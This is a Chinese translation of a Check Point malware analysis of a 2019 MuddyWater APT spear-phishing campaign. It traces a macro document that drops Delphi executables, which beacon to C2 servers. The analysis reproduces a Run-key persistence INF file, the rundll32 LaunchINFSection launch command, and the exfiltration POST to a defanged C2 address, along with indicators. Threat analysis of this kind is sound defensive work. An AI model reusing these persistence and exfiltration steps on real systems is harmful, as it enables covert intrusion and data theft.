Muddy Waters APT最新攻击活动

ang010ela Web安全 2019年4月13日发布
Favorite收藏

导语:最近,Check Point研究人员发现一起MuddyWater的新活动,被攻击的目标有白俄罗斯、土耳其和乌克兰。

MuddyWater是一个伊朗的APT组织,从2017年开始活跃。最近,Check Point研究人员发现一起MuddyWater的新活动,被攻击的目标有白俄罗斯、土耳其和乌克兰。

攻击者使用的一个简单而有效的感染向量:鱼叉式钓鱼攻击。攻击一般以一封发送给目标组织的邮件开始的,然后从被感染的系统中窃取合法文档,再将改文档武器化然后发送给其他潜在的受害者。

为此需要创建一个诱使用户启用内容的诱饵信息,诱饵信息一般都含有真实公司或政府机构的logo。这些精心制作的社工恶意文档是变成无文件感染链的第一阶段,感染链最终会传递一个签名PowerShell后门——POWERSTATS。该后门可以从攻击者处接收命令,从系统中窃取文件、执行脚本、删除文件等等。

这些年来MuddyWater APT组织使用的策略、技术和步骤都在不断地变化。在最近的攻击活动中,研究人员发现一个并不是用PowerShell编写的二阶段可执行文件。

样本

研究人员发现一个名为SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc的恶意word文档,翻译过来就是SPK(土耳其资本市场委员会)法律变化.doc。该文档含有宏,并通过展示土耳其文的诱饵信息诱使受害者启动内容。

图1: 含有宏的恶意文档

· SHA-256: 2f77ec3dd5a5c8146213fdf6ac2df4a25a542cbd809689a5642954f2097e037a

背景中目录的图像含有看似合法的法律条文变化的描述,图中单词下的红线显示在一个不支持土耳其语的环境中编辑:

图2: 在非土耳其语环境中创建的诱饵文档

感染向量

如果受害者启用了恶意word文档中的宏,就会解码一个嵌入式payload,并以CiscoAny.exe的名字保存在%APPDATA%目录中。

可执行文件是用Delphi语言编写的,并用UPX打包,其中含有反分析技术:

image.png

除了运行该可执行文件外,还会在相同目录下创建一个名为CiscoTAP.inf的文件,文件内容如下:

[Version]
Signature=$CHICAGO$
[DefaultInstall]
AddReg=AddRegSection
[AddRegSection]
HKCU,Software\Microsoft\Windows\CurrentVersion\Run,CiscoAny,,”%APPDATA%\CiscoAny.exe”

然后执行以下命令来运行payload:

“C:\Windows\System32\cmd.exe” /k rundll32.exe ieadvpack.dll,LaunchINFSection %APPDATA%\CiscoTAP.inf,,1,

因为命令被加入到RUN注册表key中,这意味着可执行文件会在用户下次登陆后运行。IEAdvpack是一个Windows 8 DLL,该命令在一些系统中是无法执行的,因为找不到DLL。INF文件在之前的MuddyWater攻击活动中就被使用过了。

执行后,第一阶段会创建%APPDATA%\ID.dat文件,这是一个含有16个字符长的随机生成的受害者ID的文件:

 [UID]
ID=[VICTIM_ID]

然后,恶意软件会收集运行的系统中的信息,比如host name、运行的进程、物理内存、开机时间、使用的语言、公网IP地址等。收集的这些信息都回写入%APPDATA%\Info.txt文件中。

在收集数据之后,可执行文件会释放另一个可执行文件CiscoAny.exe,该文件是硬编码在resource中的,释放的位置为 %TEMP% 文件夹。第二个可执行文件也是用Delphi语言编写用UPX打包的:

image.png

最后,更新前面提到的ID.dat文件来表明感染的第一阶段是成功的:

[UID]
ID=[VICTIM_ID]
[STAGE]
ONE=SUC

第二阶段

第二个可执行文件首先检查是否联网。会发送一个到Google.com的请求,如何连接成功,就复制之前创建的Info.txt文件的内容到%APPDATA%\[UNIQUE_ID].txt总。

图3:第二阶段指令

然后将收集的含有系统信息的文件POST到185.117.75[.]116.php:

—————————–[VICTIM_ID]
Content-Disposition: form-data; name=”g3t_f_465″; filename=”[UNIQUE_ID].txt”
Content-Type: application/octet-stream
[INFO.TXT CONTENT]
—————————–[VICTIM_ID]
Content-Disposition: form-data; name=”t0ken”
[email protected]
—————————–[VICTIM_ID]–

请求中的参数(g3t_f_465和t0ken) 是由嵌入在可执行文件中的TFRMMAIN resource中的TclHttpRequest 对象决定的:

图3: 嵌入的配置

还有一个含有受害者唯一ID的请求会发送给googleads.hopto[.]org:

图6: C2通信

来自C2的响应消息会保存在%APPDATA%\temp.dat中,然后复制到%APPDATA%\Lib.ps1中。主可执行文件会持续检查lib.ps1,然后尝试执行其中的内容。

截止分析时已经无法获取来自C2的响应,但是POWERSTATS是感染的下一阶段的工具。

反分析技术

第一个可执行文件中使用的反分析技术非常有效,因此很难通过静态方法去分析样本。混淆方法创建了一个类似意大利面的代码,即将原始代码流分为若干小块,下一个指令的真实位置的动态计算的。

下面是一个例子,计算出下一个指令的位置,然后跳转(使用jmp或retn):

图7: 反分析代码段

与MuddyWater非常相似

该文档和嵌入的宏含有一些特殊字符串使研究人员感觉似曾相识。研究人员搜索发现该文档在MuddyWater的攻击活动中出现过:

image.pngimage.png

image.png研究人员使用VBA2Graph工具来将每个文档中宏的VBA调用图形化显示,这样可以快速发现这些文件的相似之处,比如函数名、参数名、解密方法和代码流。比如,研究人员就发现函数UFYYRJSFHX负责将解码的payload写入文件系统中。

图8: Vba2graph图形关系

这些文档都是2019年生成的,但是最后2个含有2个名为F38HUYFLSF985HFUISHS和SSSDS98746GB函数,这两个函数在2018年11月MuddyWater攻击活动中就开始使用了,因此研究人员猜测这些攻击活动中有某种联系:

图9: Vba2graph不同攻击活动之间的关系

MuddyWater不同之处

从前面的分析可以看出这些样本之间是有明显的联系的,但是也有一些不同之处。比如,从外观来看,MuddyWater使用的文档一般含有一个英文的诱饵信息,而前面两个样本中是没有的,第三个样本使用的是土耳其语。

而且,如果比较不同文档的宏,可以发现研究人员这个月发现的属于MuddyWater的样本在宏中使用了另一个函数命名方法(4个小写字母而不是大写字母和数字的组合):

图10: Vba2graph最近并行的攻击活动

· SHA-256: 08e256cd2fa027552be253ec3bf427b537977f9123adf1f36e7cd2843a057554

这与研究人员之前发现的样本是不同的,但在近几个月出现的其他的MuddyWater样本中也出现过:

图11: Vba2graph最近并行的攻击活动

· SHA-256: 93b749082651d7fc0b3caa9df81bad7617b3bd4475de58acfe953dfafc7b3987

以上说明,攻击者在同时并行发起攻击活动,其中在攻击的第一阶段至少使用了两个不同的宏生成器。

结论

MuddyWater APT攻击的目前之前主要在中东地区,包括沙特阿拉伯、阿联酋和土耳其。现在攻击的目标已经扩展到了白俄罗斯和乌克兰。攻击者还在不断的变化其攻击技术和策略,但主要还是使用基于宏的恶意文档来传播恶意payload。研究人员还发现攻击者在同时并行地发起多个攻击活动。

本文翻译自:https://research.checkpoint.com/the-muddy-waters-of-apt-attacks/如若转载,请注明原文地址: https://www.4hou.com/web/17350.html
点赞 5
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论